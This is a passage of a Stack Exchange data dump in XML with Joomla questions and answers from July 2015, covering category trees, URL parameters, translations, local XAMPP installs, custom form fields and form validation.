LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-12T23:36:46.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10796" PostTypeId="2" ParentId="10767" CreationDate="2015-07-13T10:21:28.037" Score="1" Body="&lt;p&gt;There are few solutions:&lt;/p&gt;&#xA;&lt;h2&gt;If you want to get categories tree only&lt;/h2&gt;&#xA;&lt;p&gt;Use &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Overrides&lt;/a&gt; to create alternative layout for categories view. In this view use use &lt;code&gt;JCategories&lt;/code&gt; to get categories tree. Here is a sample:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$model_categories = JCategories::getInstance('Content');&#xA;$root = $model_categories-&amp;gt;get('root');&#xA;$categories = $root-&amp;gt;getChildren();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can use &lt;code&gt;getChildren()&lt;/code&gt; for every category to get its children.&lt;/p&gt;&#xA;&lt;h2&gt;If you want to get categories tree with all its articles&lt;/h2&gt;&#xA;&lt;p&gt;You create all above  but collect categories ID's.Then get from database all articles from those categories using collected ID's. Create articles map array where array key will be category id so your array will look like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Array(&#xA;    CATEGORY1_ID =&amp;gt; array(&#xA;       1=&amp;gt;YOUR_ARTICLE_OBJECT1,&#xA;       2=&amp;gt;YOUR_ARTICLE_OBJECT2,&#xA;       3=&amp;gt;YOUR_ARTICLE_OBJECT3&#xA;    ),&#xA;    CATEGORY2_ID =&amp;gt; array(&#xA;       1=&amp;gt;YOUR_ARTICLE_OBJECT1,&#xA;       2=&amp;gt;YOUR_ARTICLE_OBJECT2,&#xA;    )&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;That way you will need only one query to get articles for all categories. Then simply when printing category use articles map.&lt;/p&gt;&#xA;&lt;h3&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;This solution has downfalls. Your component will still use queries from model you of course don't need (about 2 of them). You can always use some sort of Sitemap component to get the same view but there are not many of those.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-13T10:21:28.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10797" PostTypeId="2" ParentId="803" CreationDate="2015-07-13T10:24:05.443" Score="1" Body="&lt;p&gt;It can be done a little faster with less codding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?Itemid='.$itemid);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return a relative url for the selected menu item.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="3368" LastEditDate="2016-11-21T22:42:51.427" LastActivityDate="2016-11-21T22:42:51.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10798" PostTypeId="2" ParentId="10756" CreationDate="2015-07-13T10:58:55.817" Score="1" Body="&lt;p&gt;Currently there is none.  You can check for available extensions (I doubt there will be any worth using) or create &lt;a href=&quot;https://docs.joomla.org/How_to_create_a_stand-alone_application_using_the_Joomla!_Platform&quot; rel=&quot;nofollow&quot;&gt;simple CLI application&lt;/a&gt; for that. It will be resource efficient, fast and more secure then all of public extensions.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-13T10:58:55.817" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10799" PostTypeId="1" AcceptedAnswerId="10801" CreationDate="2015-07-13T11:39:52.833" Score="1" ViewCount="861" Body="&lt;p&gt;I want to paas some variables through URL but want to hide them so that users do not change the details. I am redirecting from one view to another through a URL;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JRoute::_('index.php?option=com_componentname&amp;amp;variable1=value1&amp;amp;variable2=value2')&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want in site users to see index.php?option=com_componentname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please guide me the way to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Regards,&#xA;Ruchika&lt;/p&gt;&#xA;" OwnerDisplayName="user5491" LastActivityDate="2015-07-13T12:26:32.160" Title="Hide Joomla url parameter" Tags="|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10801" PostTypeId="2" ParentId="10799" CreationDate="2015-07-13T12:26:32.160" Score="0" Body="&lt;p&gt;Use &lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;STATE&lt;/a&gt; or &lt;a href=&quot;https://docs.joomla.org/How_to_access_session_variables_set_by_an_external_script&quot; rel=&quot;nofollow noreferrer&quot;&gt;SESSION&lt;/a&gt; itself directly to pass those values if you don't want to be changeable. Any data in URL can be manually changed. In URL you can only try to obscure data using Router of you component or/and encode them or use some sort of checksum to be sure that data wasn't changed.&lt;/p&gt;&#xA;&lt;h2&gt;Useful links:&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Joomla User State&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_access_session_variables_set_by_an_external_script&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sample session usage&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Supporting_SEF_URLs_in_your_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;How to create component router&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-13T12:26:32.160" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10803" PostTypeId="2" ParentId="9231" CreationDate="2015-07-13T15:42:30.373" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Template Overrides&lt;/a&gt; work also for Administration. Just copy content of &lt;code&gt;/administrator/components/com_content/views/articles/tmpl&lt;/code&gt; to &lt;code&gt;/administrator/templates/isis/html/com_content/articles/&lt;/code&gt;. Then you can edit items view (&lt;code&gt;/templates/isis/html/com_content/articles/default.php&lt;/code&gt;) and add the images. Of course if you use administration template other then ISIS just change it in above urls.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-13T15:42:30.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10804" PostTypeId="2" ParentId="10788" CreationDate="2015-07-13T15:53:26.233" Score="1" Body="&lt;p&gt;I think it would be better to just create another plugin based on Content - Vote. This one will just replace string in article for a form using some pseudo variables like &lt;code&gt;{VOTEFORM}&lt;/code&gt;. Then you just add this &lt;code&gt;{VOTEFORM}&lt;/code&gt; into a place in article where you want it to be. This will be update-safe cause no Template Overriding is required and default voting plugin will be intact. Of course you should disabled default plugin (Content - Vote) when using this one.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-13T15:53:26.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10806" PostTypeId="1" CreationDate="2015-07-13T17:39:41.797" Score="-1" ViewCount="47" Body="&lt;p&gt;I try to translate the site.&#xA;Default language is english and installed german package from backend.&#xA;When i set German langauge there are some issue like &quot;_JSHOP_REVIEWS_BASED_ON&quot; displays and not &quot;based on 0 reviews&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know i have to transalte custom modules,text from map: language/de_DE but i didnt find this and it seems to be a default text that should be in the german joomla language pack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for any help&lt;/p&gt;&#xA;" OwnerUserId="5567" LastActivityDate="2015-07-13T17:48:17.243" Title="Joomla site translation issue _JSHOP_REVIEWS_BASED_ON" Tags="|joomla-3.x|translation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10807" PostTypeId="2" ParentId="10806" CreationDate="2015-07-13T17:48:17.243" Score="1" Body="&lt;p&gt;This is not a variable from Joomla Core Language pack. This is extension based variable and it belongs most probably to &lt;a href=&quot;http://extensions.joomla.org/extension/joomshopping&quot; rel=&quot;nofollow&quot;&gt;JoomShopping&lt;/a&gt;. You can add global translation using &lt;a href=&quot;https://docs.joomla.org/J3.x:Language_Overrides_in_Joomla&quot; rel=&quot;nofollow&quot;&gt;Language Override&lt;/a&gt; or find proper translation for your extension &lt;a href=&quot;https://www.webdesigner-profi.de/joomla-webdesign/shop/addons.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; if it exists of course.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-13T17:48:17.243" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10808" PostTypeId="1" AcceptedAnswerId="10811" CreationDate="2015-07-13T22:07:13.890" Score="2" ViewCount="696" Body="&lt;p&gt;I'm absolutely new to Joomla!. I followed the instructions to install XAMPP and Joomla! 3.4.3 and everything worked. I used XAMPP's phpmyadmin to create a  new database and then during Joomla! installation I just referred to the name of that database. &#xA;Would it be the same if I hadn't created a database using XAMPP? I mean, if during Joomla! installation I typed an arbitrary name for a database, would it be created for me? Or is creating a database using XAMPP beforehand and then referring to this database during the installation important? &#xA;I am really sorry if question is not specific enough. &lt;/p&gt;&#xA;" OwnerUserId="5568" LastActivityDate="2015-07-15T05:27:30.930" Title="Creating a database for Joomla! installed locally" Tags="|joomla-3.4|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10809" PostTypeId="2" ParentId="10808" CreationDate="2015-07-13T22:50:17.883" Score="5" Body="&lt;p&gt;You must always create your database for before installing Joomla and then refer to it in the installation settings. This is a requirement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla will never create the &lt;em&gt;database&lt;/em&gt; and &lt;em&gt;database user&lt;/em&gt; for you on installation as this is a potential security risk.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-07-13T22:50:17.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10810" PostTypeId="2" ParentId="5551" CreationDate="2015-07-13T23:15:58.313" Score="1" Body="&lt;p&gt;I tried this solution but got this error message:&lt;/p&gt;&#xA;&lt;p&gt;MySQL said: Documentation&lt;/p&gt;&#xA;&lt;h1&gt;1005 - Can't create table 'CPANELNAME_jml3_2015.j30_updates' (errno: -1) (Details…)&lt;/h1&gt;&#xA;&lt;p&gt;I tried many things including trying to create the table manually as well as restoring a previous MySQL backup which failed when it got to the 'j30_updates' table and just stopped there so no following tables were created which basically crashed the site.&lt;/p&gt;&#xA;&lt;p&gt;Nothing worked.&lt;/p&gt;&#xA;&lt;p&gt;My solutions was I restored from the previous MySQL backup, created a copy of the MySQL backup, manually deleted everything up to and including the 'j30_updates' table so I could restore the following tables.  Then I manually created a table with the 14 columns and added the columns manually.  This worked!  I was able to do Joomla updates again and the site pulled up.  Great!&lt;/p&gt;&#xA;&lt;p&gt;At this point I have no clue what caused this but it has happened on two of my client websites so far.  The previous client I had this problem on was a 'very small' website so I just rebuilt it.  However, this clients website was extensive so I kept working with the tables until I got it resolved.&lt;/p&gt;&#xA;" OwnerUserId="5569" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-13T23:15:58.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10811" PostTypeId="2" ParentId="10808" CreationDate="2015-07-13T23:46:08.830" Score="4" Body="&lt;p&gt;In my experience, you usually don't need to create the database first &lt;strong&gt;on localhost environments&lt;/strong&gt; (XAMPP, WAMP etc) when installing Joomla. Simply use &lt;code&gt;root&lt;/code&gt; as user, leave the password field empty (the root user password is empty by default), and type in any database name (make sure it doesn't exist already). The database will be created automatically if it doesn't exist, and the root user has all required permission for Joomla to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;XAMPP and other similar software install with reduced security settings by default because they are not meant to be run on a live server, only in local environments for development purposes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, when you transfer your Joomla site to a live server, you'll have to set up the database and database user &lt;em&gt;before&lt;/em&gt; installing Joomla.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-13T23:46:08.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10812" PostTypeId="2" ParentId="10407" CreationDate="2015-07-14T04:15:13.907" Score="0" Body="&lt;p&gt;Don't use the normal Custom HTML module that ships with Joomla. It will most likely remove or change your code. I have two suggestions, depending on what you're trying to do and how much coding experience you have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Create your own module&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By creating your own module, you have full control over when and where your scripts, styles and codes are loaded. Creating a basic module is easier than you might think, &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Introduction&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt; is a good starting point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Use &lt;a href=&quot;http://extensions.joomla.org/extension/custom-html-advanced&quot; rel=&quot;nofollow&quot;&gt;Custom HTML Advanced&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This little module is similar to the Custom HTML module, but it will not remove any of your code. You can add &lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt;, &lt;code&gt;&amp;lt;style&amp;gt;&lt;/code&gt; and even PHP code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply start by copying the source code from &lt;a href=&quot;https://jqueryui.com/droppable/#default&quot; rel=&quot;nofollow&quot;&gt;https://jqueryui.com/droppable/#default&lt;/a&gt;, (without the &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tags), and publish your module. You might have to tweak the code a little to make it work and to make sure you don't load jQuery / jQuery UI twice. This depends on your current template and other settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-07-14T04:15:13.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10814" PostTypeId="1" CreationDate="2015-07-14T07:27:06.730" Score="3" ViewCount="721" Body="&lt;p&gt;I modified the publish-function of my sub-controller as follows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    /**&#xA;     * publish function.&#xA;     * &#xA;     * @access public&#xA;     * @return void&#xA;     */&#xA;    public function publish()&#xA;    {&#xA;        $app                                    =   JFactory::getApplication();&#xA;        $jinput                                 =   JFactory::getApplication()-&amp;gt;input;&#xA;        $ids                                    =   $jinput-&amp;gt;get('cid', '', 'array');&#xA;        $task                                   =   $this-&amp;gt;getTask();&#xA;&#xA;        foreach($ids as $id)&#xA;        {&#xA;            // do fancy stuff&#xA;        }&#xA;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I really would like to change the status of some items (-&gt; $ids) via an CLI-script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to call this controller, get the method &quot;publish&quot; and submit a set of ids and, assigned to this, a task (publish, unpublish, trash, ...)?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-10T13:24:49.960" Title="Call controller's publish-function from &quot;outside&quot;" Tags="|php|joomla-3.4|controller|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10815" PostTypeId="1" AcceptedAnswerId="10820" CreationDate="2015-07-14T08:45:25.693" Score="1" ViewCount="1233" Body="&lt;p&gt;I created a plugin to add a custom field following this &lt;a href=&quot;https://joomla.stackexchange.com/q/2395/112&quot;&gt;answer&lt;/a&gt;. Works fine when I am logged in the backend and edit the article but the tab is not displaying when the article is being edited from the front. Am I missing something here or do I have to do it like the docs mention &lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_the_article_component&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plugin XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&amp;gt;&#xA;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fields name=&quot;attribs&quot; &amp;gt;&#xA;        &amp;lt;fieldset name=&quot;custom&quot; &amp;gt;&#xA;            &amp;lt;field name=&quot;full_article_image_overlay&quot;&#xA;                type=&quot;editor&quot;&#xA;                filter=&quot;safehtml&quot;&#xA;                buttons=&quot;true&quot;&#xA;                label=&quot;PLG_FULL_ARTILCE_IMAGE_TEXT&quot;&#xA;                /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plugin PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function onContentPrepareForm($form, $data) {&#xA;&#xA;        $app = JFactory::getApplication();&#xA;        $option = $app-&amp;gt;input-&amp;gt;get('option');&#xA;&#xA;        switch($option) {&#xA;&#xA;            case 'com_content':&#xA;                if ($app-&amp;gt;isAdmin()) {&#xA;                        JForm::addFormPath(__DIR__ . '/forms');&#xA;                        //Show specific forms based on categories&#xA;                        $form-&amp;gt;loadFile('content', false);&#xA;                }&#xA;                return true;&#xA;&#xA;        }&#xA;&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Stored Data in 'attribs' column&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;show_title&quot;: &quot;&quot;,&#xA;  &quot;link_titles&quot;: &quot;&quot;,&#xA;  &quot;show_tags&quot;: &quot;&quot;,&#xA;  &quot;show_intro&quot;: &quot;&quot;,&#xA;  &quot;info_block_position&quot;: &quot;&quot;,&#xA;  &quot;show_category&quot;: &quot;&quot;,&#xA;  &quot;link_category&quot;: &quot;&quot;,&#xA;  &quot;show_parent_category&quot;: &quot;&quot;,&#xA;  &quot;link_parent_category&quot;: &quot;&quot;,&#xA;  &quot;show_author&quot;: &quot;&quot;,&#xA;  &quot;link_author&quot;: &quot;&quot;,&#xA;  &quot;show_create_date&quot;: &quot;&quot;,&#xA;  &quot;show_modify_date&quot;: &quot;&quot;,&#xA;  &quot;show_publish_date&quot;: &quot;&quot;,&#xA;  &quot;show_item_navigation&quot;: &quot;&quot;,&#xA;  &quot;show_icons&quot;: &quot;&quot;,&#xA;  &quot;show_print_icon&quot;: &quot;&quot;,&#xA;  &quot;show_email_icon&quot;: &quot;&quot;,&#xA;  &quot;show_vote&quot;: &quot;&quot;,&#xA;  &quot;show_hits&quot;: &quot;&quot;,&#xA;  &quot;show_noauth&quot;: &quot;&quot;,&#xA;  &quot;urls_position&quot;: &quot;&quot;,&#xA;  &quot;alternative_readmore&quot;: &quot;&quot;,&#xA;  &quot;article_layout&quot;: &quot;&quot;,&#xA;  &quot;show_publishing_options&quot;: &quot;&quot;,&#xA;  &quot;show_article_options&quot;: &quot;&quot;,&#xA;  &quot;show_urls_images_backend&quot;: &quot;&quot;,&#xA;  &quot;show_urls_images_frontend&quot;: &quot;&quot;,&#xA;  &quot;full_article_image_overlay&quot;: &quot;&amp;lt;p&amp;gt;Test Test&amp;lt;\/p&amp;gt;&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2015-07-17T16:11:30.300" Title="Custom fields in com_content does not display when editing article in front end" Tags="|joomla-3.x|plugin|form|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10816" PostTypeId="1" AcceptedAnswerId="10839" CreationDate="2015-07-14T09:23:01.310" Score="1" ViewCount="721" Body="&lt;p&gt;I thought there should be an easy way like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $this-&amp;gt;form-&amp;gt;getInput('similar_text', array('style' =&amp;gt; 'background: red;'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it seems to be harder than my except.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to generate an output like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;jform_similar_text&quot; style=&quot;background: red;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How should I do it using Joomla's Standard way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Environment: Joomla 3.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="5542" LastActivityDate="2015-07-16T09:55:38.490" Title="How to set custom style in getInput function?" Tags="|jinput|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10817" PostTypeId="2" ParentId="10816" CreationDate="2015-07-14T10:48:48.197" Score="1" Body="&lt;p&gt;&lt;strong&gt;Create one xml file for example&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;jform_similar_text&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;sample&quot;&#xA;            description=&quot;sample&quot;&#xA;            size=&quot;50&quot;&#xA;            class=&quot;inputbox&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;then write a default.php file in views&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('jform_similar_text'); ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('jform_similar_text'); ?&amp;gt;&#xA;    &amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="168" LastEditDate="2015-07-14T13:48:28.140" LastActivityDate="2015-07-14T13:48:28.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10818" PostTypeId="1" CreationDate="2015-07-14T14:28:02.393" Score="4" ViewCount="2496" Body="&lt;p&gt;How can select a video file (mp4, ogv, webm ...) in a plugin as parameter?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I intend to select a video file in a plugin parameters, tried field type &lt;code&gt;media&lt;/code&gt; but videos files are not listed. Using field type &lt;code&gt;filelist&lt;/code&gt; they are listed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way is to use &lt;code&gt;filelist&lt;/code&gt; field type?&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-12-17T18:41:03.613" Title="How to allow media manager open video files" Tags="|joomla-3.x|plugin|media-manager|system-plugin|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10819" PostTypeId="2" ParentId="10818" CreationDate="2015-07-14T15:20:06.850" Score="0" Body="&lt;p&gt;Try to add proper extensions and mime types in com_media settings. If that will not help it is possible you will have to create your own field type for that.&lt;/p&gt;&#xA;" OwnerUserId="3368" LastActivityDate="2015-07-14T15:20:06.850" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10820" PostTypeId="2" ParentId="10815" CreationDate="2015-07-14T15:27:01.573" Score="2" Body="&lt;p&gt;In front article edit form there are only selected fields added. If you want to add something there you will have to use &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;Template Overrides&lt;/a&gt; to edit this file: &lt;code&gt;/components/com_content/views/form/tmpl/edit.php&lt;/code&gt;. This component for now does not load custom form fields automatically like com_content does. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Adding field in form.php layout of article view&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If you have your data stored in attribs field (params fieldset in form) something like this should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('YOUR_FIEL_DNAME', 'params'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Adding field field into article form object by plugin&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To add custom field to Article Form you can use this tutorial:&#xA;&lt;a href=&quot;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Adding_custom_fields_to_core_components_using_a_plugin&lt;/a&gt;&#xA;But remember that you still have to add proper field in the view. &lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="3368" LastEditDate="2015-07-17T15:29:58.957" LastActivityDate="2015-07-17T15:29:58.957" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10821" PostTypeId="2" ParentId="9933" CreationDate="2015-07-14T15:33:33.490" Score="1" Body="&lt;p&gt;Currently none of common components has filter type plugins (at least non of core components). So there is no way to filter its content by plugin. For such functionality to work each component you want to have that filtering should include new event and and probably a whole new group of plugins should be added to system core. That is impossible without core modifications.&lt;/p&gt;&#xA;&lt;h2&gt;Small idea&lt;/h2&gt;&#xA;&lt;p&gt;Most of components use &lt;a href=&quot;https://docs.joomla.org/How_to_use_user_state_variables&quot; rel=&quot;nofollow noreferrer&quot;&gt;user state&lt;/a&gt; to get filtering default values for items view. Those can be modified using JSession (cause they are basically stored in JSession). Of course there are many problems like limited filtering options (only those that are prepared in &lt;code&gt;getListQuery()&lt;/code&gt; and &lt;code&gt;populateState()&lt;/code&gt; in items model of your component) or problem with overriding those values in component. But it is some sort of solution requires no changes in core and it is possible to do it in simple plugin (system type plugin will be the best for that).&lt;/p&gt;&#xA;" OwnerUserId="3368" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-07-14T15:46:34.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10822" PostTypeId="2" ParentId="10661" CreationDate="2015-07-14T17:48:29.423" Score="0" Body="&lt;p&gt;Having the same issue, seems 3.4.x has changed the way you call the validation. &lt;a href=&quot;https://docs.joomla.org/Client-side_form_validation&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Client-side_form_validation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed &lt;code&gt;JHTML::_('behavior.formvalidation');&lt;/code&gt; to &lt;code&gt;JHTML::_('behavior.formvalidator');&lt;/code&gt; and replaced &lt;code&gt;onsubmit=&quot;return doValidate( this );&quot;&lt;/code&gt; with &lt;code&gt;class=&quot;form-validate&quot;&lt;/code&gt;. Works as expected now, and the form no longer highlights the invalid form fields when you cancel/back out of the form (the form would still validate fields even when you were canceling the form edit using the old method).&lt;/p&gt;&#xA;" OwnerUserId="5571" LastActivityDate="2015-07-14T17:48:29.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10824" PostTypeId="1" AcceptedAnswerId="10825" CreationDate="2015-07-14T19:50:31.863" Score="3" ViewCount="1350" Body="&lt;p&gt;I installed XAMPP and Joomla! and everything works fine. Now I decided that it would be reasonable to have two local Joomla! websites to have more practice. How can I do that? It's pretty strange that there isn't much info on that. Where can I read about the way of creating one more Joomla! website using XAMPP? &lt;/p&gt;&#xA;" OwnerUserId="5568" LastActivityDate="2015-07-15T11:47:28.630" Title="Multiple local Joomla websites using XAMPP" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10825" PostTypeId="2" ParentId="10824" CreationDate="2015-07-14T23:27:09.040" Score="4" Body="&lt;p&gt;It's relatively easy- you follow the same process as you do for installing a normal Joomla installation, but use a different subdirectory for each subsequent Joomla installation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example (updated)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;localhost/site1/ &lt;/li&gt;&#xA;&lt;li&gt;localhost/site2/&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's also a good idea to use a different database for each one, but I guess you don't have to provided the database prefix is different for each site you create.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2015-07-15T03:16:40.237" LastActivityDate="2015-07-15T03:16:40.237" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
